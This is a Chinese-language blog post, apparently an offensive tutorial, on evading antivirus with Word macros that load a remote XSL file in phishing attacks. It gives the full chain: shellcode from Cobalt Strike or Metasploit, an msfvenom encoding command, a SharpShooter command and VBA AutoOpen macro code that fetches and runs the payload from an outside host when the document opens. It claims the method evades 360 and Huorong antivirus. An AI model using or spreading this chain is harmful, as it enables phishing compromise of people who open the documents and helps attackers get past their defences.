加载远程XSL文件的宏免杀方法 · Uknow

前言

“打点越来越难了，社工钓鱼会是最常见的攻击手段，0day会是最有效的攻击手段，物理渗透会是危害最大的攻击手段“。

在钓鱼攻击中木马的形式主要如下：

Office
DLL劫持
假冒加固工具
木马捆绑

通常办公软件Office具有最大的安装量，将文档插入邮件中已经是惯用的工作方式。但是Office常见的攻击方法：

0day
已知CVE漏洞
DDEAUTO
注入执行命令
宏

第一种方法直接跳过，已知的CVE漏洞特征太明显，免杀成本和技术含量太大了。DDEAUTO和注入执行命令直接被杀软限制的很死。最后只能靠宏了，虽然默认情况下，Office已经禁用所有宏，但仍会在打开Word文档的时候发出通知。

通过收集宏免杀的常用的方法和测试，发现加载远程.xsl文件可以绕过国内常用的杀软360全家桶和火绒成功上线。

SharpShooter

通过收集和测试一些开源的宏免杀的项目，发现了一个很好的项目，国外一个安全团队写的钓鱼框架。其中一个工具就是可以生成一个VBA宏文件，这个宏文件会用XMLDOM去加载远程的.xsl文件。

具体原理和利用分析见文章：

Macros and More with SharpShooter v2.0

利用测试

生成payload.bin

首先我们可以用Cobalt Strike或者Metasploit生成二进制格式的shellcode，即后缀为bin的文件。

处理payload.bin

然后利用msfvenom对payload.bin，因为SharpShooter要求shellcode中不能含有空字节。

1	msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b "\x00"

生成xsl和macro

如下命令生成.xsl文件和macro文件：

1	SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://192.168.0.104:80/foo.xsl

简单介绍一下上面的几个参数：

–dotnetver：为目标的.net版本，可选2或者4
–awlurl：为xsl存放地址

1584781368230

生成的foo.macro内容很简单，代码如下：

Sub Auto_Open()
    Set XML = CreateObject("Microsoft.XMLDOM")
    XML.async = False
    Set xsl = XML
    xsl.Load "http://192.168.0.104:80/foo.xsl"
    XML.transformNode xsl
End Sub

创建一个对象加载远程的xsl文件。如果需要使函数Auto_Open()加到AutoOpen()方法里，这样就可以在打开word文档的时间就能运行宏，具体代码如下：

Sub AutoOpen()
  Auto_Open
End Sub
Sub Auto_Open()
    Set XML = CreateObject("Microsoft.XMLDOM")
    XML.async = False
    Set xsl = XML
    xsl.Load "http://192.168.0.104:80/foo.xsl"
    XML.transformNode xsl
End Sub